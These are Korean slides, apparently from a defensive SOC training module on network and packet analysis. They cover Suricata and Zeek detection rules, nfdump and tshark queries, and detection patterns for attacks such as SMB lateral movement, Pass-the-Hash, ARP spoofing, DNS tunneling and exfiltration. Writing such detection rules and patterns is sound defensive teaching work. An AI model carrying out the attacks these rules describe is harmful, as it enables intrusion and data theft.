센서 부재 구간은 설계 단계에서 명시해 탐지 공백을 줄여야 한다

최종 정리296

Module 3. 네트워크 & 패킷 분석 — 최종 정리

12시간 동안 배운 핵심을 한 장에 압축한다.

🌐 기초 언어

IP/Port/Protocol
TCP/UDP 차이
Flow vs Packet
5-tuple 읽기

📡 프로토콜 분석

DNS 이상 탐지
HTTP/HTTPS 분석
TLS 메타데이터
SMB/RDP/SSH

🚨 공격 패턴

Port Scan
Brute Force
Beaconing
Exfiltration

🔧 도구

Wireshark
Zeek
Suricata
SIEM/SPL

🧠 판단 구조

Fact + Pattern
Context + Action
상관분석
에스컬레이션

🔄 운영

기준선 수립
오탐 관리
ATT&CK 매핑
지속 개선

보강 설명Module 3. 네트워크 & 패킷 분석 — 최종 정리에서는 패킷·세션·Flow를 한 단계씩 읽는 순서를 익히는 것이 중요하다. 목적지 포트, 방향, duration, bytes, conn_state를 묶어 보면 같은 443도 정상과 이상이 갈린다.

TCP/UDPFlow패턴 해석

핵심 포인트

출발지·목적지·포트·프로토콜은 연결의 문장 구조에 해당한다
duration과 bytes는 연결 목적을 드러내는 가장 강한 보조 단서다
단일 패킷보다 반복 패턴과 상태 전환을 더 중요하게 본다

추가 확인

자산 역할상 원래 사용하던 포트와 프로토콜인지 확인
업무시간·주말·야간 기준으로 동일 패턴이 있었는지 비교
DNS나 EDR을 붙여 목적지와 프로세스 맥락까지 보강

미니 실습

Flow 1줄을 사실·패턴·맥락 문장으로 바꿔 보기
동일한 443 연결 두 개를 정상과 의심으로 나누는 이유 적기
같은 포트라도 위험도가 달라지는 자산 예시 2개 정리

마무리297

수강생에게 남기는 마지막 메시지

기술이 아닌 사고방식을 가져가라.

"네트워크는 시스템 간 대화 기록이고, SOC는 그 대화가 정상인지 아닌지를 판단하는 조직이다."

도구는 바뀐다. Wireshark가 없어져도, Zeek가 다른 것으로 바뀌어도, 통신을 읽는 눈은 남는다.

오늘 배운 것이 현장에서 안 보이는 날도 있다. 그때가 성장하는 날이다. 포기하지 말고 계속 봐라.

보안은 혼자 하는 게 아니다. 팀과 함께, 기록하고, 공유하고, 개선하라.

보강 설명수강생에게 남기는 마지막 메시지의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

Q&A298

Q & A

질문과 토론을 환영합니다

🌐

프로토콜 / 로그 관련 질문

🔍

탐지 / 분석 방법론 질문

💼

커리어 / 실무 적용 질문

보강 설명Q & A 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

종료299

Module 3 수료를 축하합니다

12시간 동안 함께해 주셔서 감사합니다.

📋 과정 정보

과목: Module 3. 네트워크 & 패킷 분석

시간: 12시간

발주: 한국인터넷진흥원

수행: (주)아울네스트

과정: 26년 AI 보안운영 및 위협탐지 실무인력 양성

🔜 다음 단계

📖 개인 실습 과제 (30일 내 제출)

📚 심화 학습 자료 활용

🏆 CTF 플랫폼 실습

🔜 Module 4: SIEM 운영과 탐지 엔지니어링

"배운 것을 오늘 바로 적용하라. 이론은 실전에서 근육이 된다."

보강 설명Module 3 수료를 축하합니다는 수업을 끝내는 장면이 아니라 이후의 학습과 실습 루틴을 연결하는 슬라이드다. 반복적으로 로그를 읽고 판단문을 쓰는 습관이 결국 분석 품질을 만든다.

다음 단계루틴성장

다음 2주에 할 일

수업에서 본 예시 로그를 다시 읽고 1장 요약 만들기
Wireshark/Zeek/Flow 중 하나를 골라 손에 익힐 정도로 반복
자주 틀린 개념을 개인 치트시트로 정리하기

실무 감각 키우기

하루 10분이라도 정상과 이상 예시를 비교해 보는 루틴 만들기
동향 자료는 제목만 읽지 말고 우리 환경에 어떤 의미인지 적기
결론보다 근거와 추가 확인 질문을 쓰는 습관 유지

후속 학습 추천

Module 4의 SIEM 규칙과 상관분석에서 지금 배운 네트워크 지식이 재사용됨
PCAP·Threat Hunting·룰 튜닝은 작은 과제를 반복할수록 빨라진다
팀 내 리뷰를 통해 보고 문장의 명확성을 계속 다듬기

부록300

참고 자료 & 유용한 링크 모음

이 슬라이드를 출력하거나 저장해두고 실무에서 참고 자료로 활용하세요.

📚 필수 학습 자료

• Zeek 공식 문서: zeek.org/docs
• MITRE ATT&CK: attack.mitre.org
• Wireshark 공식: wireshark.org
• SANS Reading Room (Network)

🏆 실습 플랫폼

• Malware-Traffic-Analysis.net
• CyberDefenders.org
• Blue Team Labs Online
• TryHackMe (SOC Level)

🔍 OSINT 도구

• VirusTotal: virustotal.com
• Shodan: shodan.io
• AbuseIPDB: abuseipdb.com
• URLScan: urlscan.io

📖 추천 도서

• The Practice of NSM (Bejtlich)
• Network Forensics (Davidoff)
• Practical Packet Analysis (Sanders)
• Blue Team Handbook

보강 설명참고 자료 & 유용한 링크 모음의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

도구 심화301

Suricata 커스텀 룰 작성 — 심화 실전

Suricata 룰 문법을 정밀하게 이해해야 오탐 없이 공격만 탐지하는 고품질 룰을 만들 수 있다.

🔧 룰 구조

# action proto src_ip src_port # -> dst_ip dst_port (options) alert tcp any any -> $HOME_NET 22 (msg:"SSH Brute Force"; flow:to_server,established; threshold:type threshold, track by_src, count 10, seconds 60; classtype:attempted-admin; sid:9000001; rev:1;)

🎯 DNS Tunneling 탐지 룰

alert dns any any -> any any (msg:"Possible DNS Tunneling"; dns.query; content:"."; pcre:"/[a-z0-9]{30,}\./i"; threshold:type both, track by_src, count 20, seconds 60; classtype:policy-violation; sid:9000002; rev:1;)

도구 심화302

Zeek 스크립트로 커스텀 탐지 로직 작성

Zeek의 이벤트 기반 스크립트 언어로 맞춤형 탐지 로직과 로그를 생성할 수 있다.

🐾 장시간 연결 감지

@load base/protocols/conn event connection_state_remove(c: connection) { if ( c$conn$duration > 3600 && ! Site::is_local_addr(c$id$resp_h) ) { print fmt("Long conn: %s -> %s %s", c$id$orig_h, c$id$resp_h, c$conn$duration); } }

🐾 희귀 도메인 알림

@load base/protocols/dns global seen_domains: set[string]; event dns_request(c: connection, msg: dns_msg, query: string, qtype: count, qclass: count) { if ( query !in seen_domains ) { add seen_domains[query]; print fmt("New domain: %s from %s", query, c$id$orig_h); } }

도구 심화303

NetFlow/IPFIX 분석 — 행위 패턴 탐지 실전

NetFlow는 패킷 내용 없이도 연결 패턴으로 Port Scan, Exfiltration, Beaconing을 탐지할 수 있다.

📊 nfdump 활용 예시

# 외부 대량 업로드 탐지 nfdump -R /var/netflow \ -s srcip/bytes \ 'bytes > 100000000 and \ dst ip not 10.0.0.0/8' \ | head -20 # 다중 목적지 연결 (Scan) nfdump -R /var/netflow \ -s srcip/dstip \ 'src net 10.0.0.0/8 \ and dst port > 1000' \ | awk '$2 > 50'

💡 Flow 분석 핵심 필드

bytes — 유출 규모 파악

packets — 연결 행위 집약도

duration — 세션 지속 시간

flags — TCP 상태 추론

dstip count — Scan 여부

보강 설명NetFlow/IPFIX 분석 — 행위 패턴 탐지 실전에서는 패킷·세션·Flow를 한 단계씩 읽는 순서를 익히는 것이 중요하다. 목적지 포트, 방향, duration, bytes, conn_state를 묶어 보면 같은 443도 정상과 이상이 갈린다.

TCP/UDPFlow패턴 해석

핵심 포인트

출발지·목적지·포트·프로토콜은 연결의 문장 구조에 해당한다
duration과 bytes는 연결 목적을 드러내는 가장 강한 보조 단서다
단일 패킷보다 반복 패턴과 상태 전환을 더 중요하게 본다

추가 확인

자산 역할상 원래 사용하던 포트와 프로토콜인지 확인
업무시간·주말·야간 기준으로 동일 패턴이 있었는지 비교
DNS나 EDR을 붙여 목적지와 프로세스 맥락까지 보강

미니 실습

Flow 1줄을 사실·패턴·맥락 문장으로 바꿔 보기
동일한 443 연결 두 개를 정상과 의심으로 나누는 이유 적기
같은 포트라도 위험도가 달라지는 자산 예시 2개 정리

프로토콜 심화304

SMB 관련 공격 — 네트워크 탐지 심화

SMB는 내부 이동 공격에서 가장 많이 악용된다. 정상과 이상을 구분하는 핵심 패턴을 숙지하자.

EternalBlue / MS17-010

포트 445, SMBv1 특정 패턴

SMBv1 사용 자체를 경보

PsExec 원격 실행

ADMIN$ 공유 + 실행파일 업로드

ADMIN$/IPC$ 접근 + 새 실행파일 탐지

Pass-the-Hash

NTLM 인증 반복 성공 (비밀번호 없이)

동일 계정 다수 서버 NTLM 연속 성공

Ransomware 전파

다수 서버 SMB 445 동시 연결

단시간 내 SMB 연결 급증 + 파일 수정

보강 설명SMB 관련 공격 — 네트워크 탐지 심화 같은 프로토콜 심화 슬라이드는 정상 동작과 악용 패턴을 함께 묶어 봐야 이해가 빨라진다. 헤더 값 하나보다 빈도, 방향, 상대 자산, 후속 행위를 같이 봐야 오탐을 줄일 수 있다.

프로토콜 심화정상 vs 악성탐지 포인트

대표 신호

프로토콜 특성상 드물거나 과도한 필드 조합을 먼저 찾기
정상 관리·배치 작업과 공격성 반복 패턴을 구분하기
내부-내부 통신이라도 자산 역할이 맞지 않으면 의심 신호가 된다

추가 확인

동일 목적지 또는 동일 서비스로 반복되는 시간 간격 확인
방화벽 허용/차단 여부와 인증 실패 기록까지 함께 검토
평소에는 보이지 않던 국가·ASN·장비 조합인지 확인

실무 예시

관리 포트는 성공 1건보다 반복 실패와 성공 직후 행동을 같이 본다
내부 확산형 프로토콜은 다수 대상 접근 여부를 우선 체크한다
희귀 프로토콜은 허용 이유와 담당 팀을 빠르게 확인하면 오탐을 줄인다

프로토콜 심화305

ICMP 분석 — 정상과 악성 패턴

ICMP는 단순 ping 이상이다. Covert Channel, Smurf DDoS, Redirect 공격에 악용된다.

📋 주요 ICMP 타입

Type 0Echo Reply (Ping 응답)

Type 8Echo Request (Ping)

Type 3Destination Unreachable

Type 5Redirect (라우팅 조작)

Type 11TTL Exceeded (TTL 만료)

🚨 악성 ICMP 패턴

📦 비정상적으로 큰 Payload (>100 bytes)

🔄 ICMP 대량 Flood (DDoS)

🕵️ ICMP Covert Channel
데이터를 Payload에 숨겨 통신

🌐 ICMP Type 5 Redirect
라우팅 테이블 조작 시도

보강 설명ICMP 분석 — 정상과 악성 패턴 같은 프로토콜 심화 슬라이드는 정상 동작과 악용 패턴을 함께 묶어 봐야 이해가 빨라진다. 헤더 값 하나보다 빈도, 방향, 상대 자산, 후속 행위를 같이 봐야 오탐을 줄일 수 있다.

프로토콜 심화정상 vs 악성탐지 포인트

대표 신호

프로토콜 특성상 드물거나 과도한 필드 조합을 먼저 찾기
정상 관리·배치 작업과 공격성 반복 패턴을 구분하기
내부-내부 통신이라도 자산 역할이 맞지 않으면 의심 신호가 된다

추가 확인

동일 목적지 또는 동일 서비스로 반복되는 시간 간격 확인
방화벽 허용/차단 여부와 인증 실패 기록까지 함께 검토
평소에는 보이지 않던 국가·ASN·장비 조합인지 확인

실무 예시

관리 포트는 성공 1건보다 반복 실패와 성공 직후 행동을 같이 본다
내부 확산형 프로토콜은 다수 대상 접근 여부를 우선 체크한다
희귀 프로토콜은 허용 이유와 담당 팀을 빠르게 확인하면 오탐을 줄인다

공격 패턴306

ARP 스푸핑 / 중간자 공격 탐지

ARP 스푸핑은 로컬 네트워크에서 트래픽을 가로채는 공격. 조기 탐지가 중요하다.

⚙️ ARP 스푸핑 원리

공격자가 위조된 ARP Reply 전송

피해자 ARP 캐시에 공격자 MAC 등록

피해자 → Gateway 트래픽이 공격자 경유

공격자 → 내용 읽고 → Gateway 전달

🔍 탐지 방법

같은 IP → 여러 MAC 매핑 변화

Gateway IP에 대한 ARP 응답 다중화

Wireshark: arp.duplicate-address-detected

# Zeek로 ARP 변화 감지 cat arp.log | awk '$6 != $7 {print}'

보강 설명ARP 스푸핑 / 중간자 공격 탐지 같은 프로토콜 심화 슬라이드는 정상 동작과 악용 패턴을 함께 묶어 봐야 이해가 빨라진다. 헤더 값 하나보다 빈도, 방향, 상대 자산, 후속 행위를 같이 봐야 오탐을 줄일 수 있다.

프로토콜 심화정상 vs 악성탐지 포인트

대표 신호

프로토콜 특성상 드물거나 과도한 필드 조합을 먼저 찾기
정상 관리·배치 작업과 공격성 반복 패턴을 구분하기
내부-내부 통신이라도 자산 역할이 맞지 않으면 의심 신호가 된다

추가 확인

동일 목적지 또는 동일 서비스로 반복되는 시간 간격 확인
방화벽 허용/차단 여부와 인증 실패 기록까지 함께 검토
평소에는 보이지 않던 국가·ASN·장비 조합인지 확인

실무 예시

관리 포트는 성공 1건보다 반복 실패와 성공 직후 행동을 같이 본다
내부 확산형 프로토콜은 다수 대상 접근 여부를 우선 체크한다
희귀 프로토콜은 허용 이유와 담당 팀을 빠르게 확인하면 오탐을 줄인다

프로토콜 심화307

IPv6 보안 — SOC에서 주의할 점

IPv6는 모니터링 사각지대가 되기 쉽다. 공격자는 IPv6를 활용해 탐지를 우회하려 한다.

⚠️ IPv6 보안 위협

🔴 IPv6 터널링으로 탐지 우회

🔴 Rogue RA (Router Advertisement) 공격

🟡 IPv4 룰만 있고 IPv6 룰 누락

🟡 IDS/IPS IPv6 지원 미흡 가능성

🟡 6to4, Teredo 터널 C2 통신

✅ 대응 방향

IPv6 사용 여부 먼저 파악

불필요 시 IPv6 비활성화

방화벽/탐지 룰에 IPv6 명시 추가

Zeek IPv6 로그 수집 확인

IPv6 모니터링 공백 = 공격자의 숨을 공간

보강 설명IPv6 보안 — SOC에서 주의할 점 같은 프로토콜 심화 슬라이드는 정상 동작과 악용 패턴을 함께 묶어 봐야 이해가 빨라진다. 헤더 값 하나보다 빈도, 방향, 상대 자산, 후속 행위를 같이 봐야 오탐을 줄일 수 있다.

프로토콜 심화정상 vs 악성탐지 포인트

대표 신호

프로토콜 특성상 드물거나 과도한 필드 조합을 먼저 찾기
정상 관리·배치 작업과 공격성 반복 패턴을 구분하기
내부-내부 통신이라도 자산 역할이 맞지 않으면 의심 신호가 된다

추가 확인

동일 목적지 또는 동일 서비스로 반복되는 시간 간격 확인
방화벽 허용/차단 여부와 인증 실패 기록까지 함께 검토
평소에는 보이지 않던 국가·ASN·장비 조합인지 확인

실무 예시

관리 포트는 성공 1건보다 반복 실패와 성공 직후 행동을 같이 본다
내부 확산형 프로토콜은 다수 대상 접근 여부를 우선 체크한다
희귀 프로토콜은 허용 이유와 담당 팀을 빠르게 확인하면 오탐을 줄인다

네트워크 심화308

무선 네트워크 보안 — SOC 관점

Wi-Fi는 SOC에서 종종 모니터링 사각지대가 된다. 무선 관련 위협과 탐지 방향을 파악하자.

⚠️ 주요 무선 위협

📡 Evil Twin AP (가짜 액세스포인트)

🔑 WPA2 PMKID 캡처 공격

📶 KRACK 취약점 (WPA2 재설치 공격)

💻 무선 통한 내부 네트워크 침투

🔌 비인가 무선 기기 연결 (Rogue Device)

🔍 탐지 및 모니터링

WIDS (무선 침입 탐지) 시스템

NAC로 비인가 기기 접속 차단

SSID 목록 변화 모니터링

무선 게스트 네트워크 세그먼테이션

보강 설명무선 네트워크 보안 — SOC 관점의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

네트워크 구조309

로드밸런서 & 프록시 — SOC 분석 주의사항

로드밸런서와 프록시는 원본 IP를 숨긴다. 분석 시 X-Forwarded-For 헤더 처리가 중요하다.

⚠️ 함정 주의

❌ LB IP를 공격자 IP로 오인

❌ Proxy 로그 미수집 시 URL 불투명

⚠️ HTTPS 디코딩 안 하면 URL 볼 수 없음

⚠️ Proxy 예외 목록에 숨겨진 연결

✅ 올바른 처리 방법

# X-Forwarded-For 원본 IP 추출 # Zeek HTTP 로그에서 cat http.log | zeek-cut \ orig_h x_forwarded_for uri \ | awk ' $2 != "-" { print $2, $3 } $2 == "-" { print $1, $3 }' # 프록시 로그에서 실제 사용자 IP grep "CONNECT" proxy.log \ | awk '{print $8, $7}'

보강 설명로드밸런서 & 프록시 — SOC 분석 주의사항의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

자동화310

위협 인텔리전스 자동 연동 파이프라인

IOC를 수동 확인하면 늦다. 자동화 파이프라인으로 실시간 탐지와 Enrichment를 구현하자.

🔄 파이프라인 구조

TI 피드 수집 (MISP, OTX, VirusTotal)

IOC DB 정규화 (IP/도메인/해시)

Zeek/SIEM 로그와 실시간 매칭

매칭 시 자동 Alert + Ticket 생성

TI 피드 주기적 갱신 (4~24시간)

🐍 Python IOC 매칭 예시

import pandas as pd # IOC 피드 로드 ioc_df = pd.read_csv('ti_ips.csv') bad_ips = set(ioc_df['ip']) # Zeek conn.log와 매칭 conn = pd.read_csv('conn.log', sep='\t') hits = conn[conn['id.resp_h'].isin(bad_ips)] print(f"IOC 매칭: {len(hits)}건") hits.to_csv('ti_hits.csv', index=False)

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

자동화311

SOAR — 보안 자동화 핵심 개념

SOAR(Security Orchestration, Automation and Response)는 반복 Triage를 자동화해 분석가의 가치를 높인다.

⚡ SOAR가 자동화하는 것

IP 평판 자동 조회 (VT/AbuseIPDB)

도메인 WHOIS / 등록일 확인

Alert → 티켓 자동 생성

초기 위험도 자동 평가

통보 메시지 발송 (Slack/Email)

🤝 인간 + SOAR 협업 모델

🤖

SOAR

수집, 정형화
단순 판단

🧠

분석가

판단, 맥락
복잡한 케이스

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

방어 아키텍처312

네트워크 세그멘테이션 — 탐지 관점 설계

세그멘테이션은 피해 범위를 제한하고, SOC에게는 이상 이동을 탐지하는 감시망이 된다.

🏗️ 권장 세그멘테이션 구조

🔴 DMZ — 외부 공개 서버

🟡 내부 업무망 — 일반 PC/업무 시스템

🔵 서버 팜 — 내부 서비스 서버

🟣 OT/ICS — 제어 시스템 (엄격 격리)

🟢 관리망 — 보안 장비, 백업 서버

🔍 SOC 탐지 관점 이점

구간 경계 트래픽 = 탐지 포인트

DMZ → 내부망 이동 즉시 Alert

업무망 → 서버팜 비정상 연결 탐지

허용 트래픽 정의 → 예외 탐지 명확

보강 설명네트워크 세그멘테이션 — 탐지 관점 설계의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

네트워크 포렌식313

PCAP에서 파일 및 세션 재구성

PCAP에서 전송된 파일이나 대화를 재구성하면 공격자가 무엇을 전송했는지 직접 확인할 수 있다.

🔧 Wireshark에서 파일 추출

File → Export Objects → HTTP

File → Export Objects → SMB

HTTP Stream → Save as Raw

🐍 tshark로 자동 추출

# HTTP 객체 전체 추출 tshark -r capture.pcap \ --export-objects http,./objects # DNS 질의 목록 추출 tshark -r capture.pcap -Y dns \ -T fields -e dns.qry.name \ | sort -u

💡 재구성 활용 시나리오

📦 HTTP POST로 업로드된 파일 복원

💬 채팅/폼 데이터 내용 확인

🔑 로그인 자격증명 노출 여부 확인

🦠 다운로드된 악성 파일 해시 추출

📤 유출된 파일 종류 파악

탐지 전략314

East-West 내부 트래픽 탐지 전략

외부 → 내부(North-South)보다 내부 → 내부(East-West)가 침해 이후 탐지의 핵심이다.

🔍 E-W 이상 탐지 포인트

🖥️ 업무 PC가 서버에 직접 SSH 연결

🔀 DMZ 서버가 내부 DB에 직접 접근

🌐 새로운 서버간 연결 패턴 출현

💻 단말이 다른 단말에 포트 스캔

🔑 서비스 계정 비정상 인증 이동

📊 가시성 확보 방법

🔌 코어 스위치에 SPAN 포트

📊 가상화 환경: vSwitch 미러링

🔵 SDN/클라우드: 내부 Flow Logs

🖥️ 각 서버의 호스트 기반 로그

E-W 가시성 = Lateral Movement 탐지의 핵심

보강 설명East-West 내부 트래픽 탐지 전략의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

Threat Hunting315

Threat Hunting 실전 — 가설 기반 사냥법

알람을 기다리지 않고 공격자를 먼저 찾아나서는 능동적 보안 활동이 Threat Hunting이다.

🏹 Hunt 수행 단계

가설 수립: "APT 그룹 X가 우리 환경에 있다면?"

TTP 확인: 해당 그룹의 네트워크 TTP

데이터 선정: DNS/conn/proxy 로그

쿼리 작성 및 실행

결과 검토 → 룰 추가 or 문서화

🎯 실전 Hunt 아이디어

🌙 새벽 2~5시 외부 통신 자산 목록

📡 비표준 포트(8080/4444/1337) 연결

🔗 오늘 처음 연결된 외부 도메인

📊 JA3 핑거프린트 희귀한 값

🔄 정확히 X분 간격 연결 패턴

보강 설명탐지 엔지니어링은 룰 한 줄보다 관측 가능한 흔적, 데이터 소스 품질, 예외 관리, 후속 Playbook까지 설계하는 과정이다.

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

클라우드 심화316

Kubernetes 환경 네트워크 보안 탐지

K8s의 동적 환경에서는 IP가 자주 변경된다. Pod Network와 Service Mesh 로그를 이해해야 한다.

📊 K8s 네트워크 탐지 데이터

Pod Audit Logs — API 접근 기록

Cilium / Calico 네트워크 정책 로그

Istio / Envoy 서비스 메시 로그

컨테이너 레벨 Syscall (Falco)

🚨 K8s 이상 탐지 패턴

Pod 탈출 시도 → 호스트 네트워크 접근

비인가 Pod간 직접 통신 (NetworkPolicy 위반)

Metadata API (169.254.169.254) 접근

kube-apiserver 비정상 API 호출

K8s 탐지 = IP 기반 → 레이블/네임스페이스 기반으로 전환

보강 설명Kubernetes 환경 네트워크 보안 탐지에서는 패킷보다 Flow와 제어plane 로그가 더 중요할 수 있다. 클라우드는 센서 위치보다 수집 가능한 서비스 로그 종류와 보존 기간이 탐지 범위를 결정한다.

CloudFlow Log가시성

핵심 포인트

VPC/NSG/Load Balancer 로그와 IAM·API 로그를 함께 보는 구조 필요
클라우드에서는 자산 생성·삭제가 빨라 기준선도 자주 갱신해야 한다
Kubernetes는 Pod 간 East-West와 NetworkPolicy 맥락이 중요하다

추가 확인

퍼블릭 노출 리소스와 허용된 보안그룹/NSG 예외를 먼저 파악
로그 지연 시간과 보존 기간이 IR 속도에 미치는 영향 확인
클라우드 네이티브 서비스 호출이 정상 배포인지 공격인지 구분

실무 예시

클라우드 자격증명 탈취는 네트워크 로그보다 API 호출 패턴이 먼저 보일 수 있다
K8s는 Pod→Service→Node 흐름을 계층별로 봐야 원인을 찾기 쉽다
센서 부재 구간은 설계 단계에서 명시해 탐지 공백을 줄여야 한다

운영 설계317

SOC 네트워크 모니터링 대시보드 설계 원칙

좋은 대시보드는 30초 안에 현재 상황을 파악하게 해준다. 정보 과다는 정보 없음과 같다.

🖥️ 필수 위젯 구성

🚨 실시간 위험도별 Alert 카운트

📈 시간대별 트래픽 볼륨 그래프

🌐 Top 10 외부 통신 목적지

🔍 DNS NXDOMAIN 비율 현황

📊 자산별 대역폭 이상 현황

✅ 설계 원칙

1위험 → 색상으로 즉시 인식 (Green/Amber/Red)

클릭 한 번으로 상세로 드릴다운 가능

지난 24시간 vs 지난 주 비교 뷰

데이터 수집 상태도 모니터링

